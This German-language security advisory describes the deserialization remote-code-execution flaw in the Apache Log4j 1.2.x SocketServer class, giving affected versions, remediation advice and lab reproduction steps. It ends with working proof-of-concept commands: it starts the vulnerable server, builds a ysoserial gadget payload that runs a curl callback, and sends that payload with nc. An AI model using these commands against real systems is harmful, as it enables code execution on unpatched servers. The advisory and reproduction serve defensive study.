
Apache Log4j 1.2.X weist eine Schwachstelle zur Remote-Codeausführung durch Deserialisierung auf.
Referenzlink zur Schwachstellenwarnung: https://mp.weixin.qq.com/s/okU2y0izfnKXXtXG3EfLkQ
Apache Log4j ist ein Java-basiertes Open-Source-Protokollierungstool der Apache Software Foundation. In den Versionen der Apache Log4j 1.2.X-Reihe existiert eine Deserialisierungs-Schwachstelle für die Remote-Codeausführung. Angreifer können diese ausnutzen, um beliebige bösartige Befehle auszuführen. Log4j 1.2.X enthält eine SocketServer-Klasse, die anfällig für die Deserialisierung nicht vertrauenswürdiger Daten ist. In Kombination mit Deserialisierungs-Gadgets kann diese Klasse genutzt werden, um beim Abhören nicht vertrauenswürdigen Netzwerkverkehrs von Protokolldaten beliebigen Code remote auszuführen. Betroffen ist die aktuelle Version.
Hoch
Betroffene Versionen
1.2.4 <= Apache Log4j <= 1.2.17 (aktuelle Version)
Empfehlung zur Behebung
Auf die neueste Version der Apache Log4j 2-Reihe aktualisieren
Vermeiden, den von dieser Klasse geöffneten Socket-Port dem Internet auszusetzen
Bereits zur Zeit von Apache Log4j 2.8.1 existierte eine Deserialisierungs-Schwachstelle für die Remote-Codeausführung (CVE-2017-5645), die damals über die Klasse org.apache.logging.log4j.core.net.server.TcpSocketServer ausgelöst wurde. In der Apache Log4j 1.2.X-Ära wurde die Schwachstellenklasse zu org.apache.log4j.net.SocketServer.
Nach Recherchen am Abend wurde festgestellt, dass der Start des Log4j 1.X SocketServers über den Java-Befehl erfolgt, nicht durch Java-Code. (Falls es andere Startmöglichkeiten gibt, bitte mitteilen.)
Ebenfalls müssen die betroffenen JAR-Dateien sowie JAR-Dateien, die Codeausführung ermöglichen, heruntergeladen und in die Umgebungsvariablen (im Folgenden für Windows-Umgebung) eingefügt werden. Starten Sie den Dienst mit drei Parametern: Port, Log4j-Konfigurationsdatei und LCF-Verzeichnis:
java -cp log4j-1.2.17.jar;c3p0-0.9.5.2.jar;mchange-commons-java-0.2.11.jar;commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 log4jserver.properties ./
java -cp log4j-1.2.17.jar:../commons-collections/commons-collections-3.1.jar org.apache.log4j.net.SocketServer 4560 config/log4jserver.properties ./
java -jar ysoserial-master.jar CommonsCollections5 "curl http://127.0.0.1/ssrf/ssrf.php?rand=log4j" > log4j.curl.bin
nc 127.0.0.1 4560 < log4j.curl.bin
Bezug der relevanten JAR-Pakete: https://github.com/shadow-horse/Vulenvironment/libs